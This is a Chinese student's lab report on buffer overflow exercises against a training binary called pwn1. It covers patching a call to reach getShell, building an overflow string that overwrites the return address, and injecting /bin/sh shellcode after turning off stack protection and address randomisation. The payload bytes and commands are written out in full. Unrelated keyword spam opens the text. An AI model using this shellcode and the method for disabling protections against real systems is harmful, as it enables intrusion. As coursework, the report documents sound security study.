怎么做才能使网站ip增多,洮南做网站,电子商务网站建设可行性分析,网站查询 工信部20232801 2023-2024-2 《网络攻防实践》实践九报告
1.实践内容
#xff08;1#xff09;手工修改可执行文件#xff0c;改变程序执行流程#xff0c;直接跳转到getShell函数。 #xff08;2#xff09;利用foo函数的Bof漏洞#xff0c;构造一个攻击输入字符串#xf…20232801 2023-2024-2 《网络攻防实践》实践九报告
1.实践内容
1手工修改可执行文件改变程序执行流程直接跳转到getShell函数。 2利用foo函数的Bof漏洞构造一个攻击输入字符串覆盖返回地址触发getShell函数。 3注入一个自己制作的shellcode并运行这段shellcode
2.实践过程
打开kali虚拟机将用户名改为ly。将学习通中下载的pwn1工具放入到kali中通过 mv pwn1 pwn20232801修改pwn1的学号信息。
1. 修改程序机器指令改变程序执行流程 使用命令objdump -d pwn20232801 | more 反编译这个文件。使用enter键可以继续向下查看找到main函数foo函数并且能够发现在main函数中调用了foo函数。 call 8048491:这条指令将调用位于地址8048491处的foo函数,其对应的机器指令为 e8d7ffffff。 main函数调用foo对应机器指令为“ e8 d7ffffff” 我们想要让它调用getShell只要修改“d7ffffff”为getShell-80484ba对应的补码就行47d-4ba 得到补码为c3ffffff 2. 修改可执行文件 为了防止意外可以回溯源工具在这里对pwn20232801 进行了一个复制,pwn20232801-2
cp pwn20232801 pwn20232801-2打开pwn20232801-2
vi pwn20232801-2打开以后发现全是乱码 输入:%!xxd将显示转化为16进制
通过/e8d7找到需要修改的内容 修改d7 为c3注意在退出保存前需要将16进制转化为原格式。:%!xxd -r 我们再次反汇编一下查看是否正确调用getshell:objdump -d pwn2 | more ,修改成功。 运行./pwn20232801 3. 改变程序执行流造成BOF攻击 使用objdump -d pwn20232801 | more观察foo函数发现其在栈顶中预留了0x1c大小也就是28个字节的缓冲区域。 当我们输入的字符串长度超出了它预留空间的话则会出现缓冲区溢出。 那我们只需要需构造一个字符串使其溢出溢出部分覆盖原始的返回地址变成getshell函数的起始地址即可。
另外可以用一个语句perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ 20232801input 使用 命令查看是否修改成功。
xxd 20232801input 输入(cat 20222801input;cat) | ./pwn20222801-2 攻击成功
注入shellcode代码
首先安装execstack下载链接http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1b10_amd64.deb 下载后使用命令dpkg -i execstack_0.0.20131005-1b10_amd64.deb完成安装 在此实验由于不小心将复制前的原工具删掉了重新下载了一个pwn1
修改设置
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行echo 0 /proc/sys/kernel/randomize_va_space //关闭地址随机化more /proc/sys/kernel/randomize_va_space //查询在这里我们需要分析如何让他溢出覆盖perl -e print A x 32;print \x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00 input_shellcode 即前面的x1\x2\x3\x4需要填写什么。 在一个终端1中输入(cat input_shellcode;cat) | ./pwn1 在打开另外一个终端2输入ps -ef | grep pwn20232906 可以pwn1的进程号这里我的是27964。
gdb调试该进程
attach 27964
disassemble foo //通过设置断点来查看注入buf的内存地址
break *0x080484ae c 在终端1中按下回车键 注意是先C 再回车info r esp //找到esp寄存器的值获得我们注入的字符串的地址x/16x 0xffffd52c从0xffffd52c开始观察可以发现数据采用小端字节序并且将返回地址改为ff ff d5 30就可以让程序执行Shellcode所以\x1\x2\x3\x4修改为\x30\x50\xff\xff 计算方法为0xffffd52c4ffffd530 于是我们便重新利用perl语言将返回地址修改正确并在最后加上回车0x0a然后重新运行程序。
perl -e print A x 32;print \x30\x50\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a input_shellcode
(cat input_shellcode;cat) | ./pwn1发现我们成功的获得了shell
3.学习中遇到的问题及解决
问题1 在kali 中使用 apt-get Execstack 无法下载execstack工具问题1解决方案找到下载网址在浏览器中下载后再解压。问题2在注入shellcode代码是使用前面修改过的pwn20232801-2始终找不到正确的地址问题2解决方案重新下载了一个pwn1工具。
4.实践总结
学习了什么是缓冲区溢出指在程序执行过程中向程序的缓冲区写入了超过其长度的内容导致数据溢出到被分配空间之外的内存空间进而覆盖其他内存空间的数据。 以及堆栈的在数据结构和操作系统中的不同。
参考资料
execstack下载 实践指导书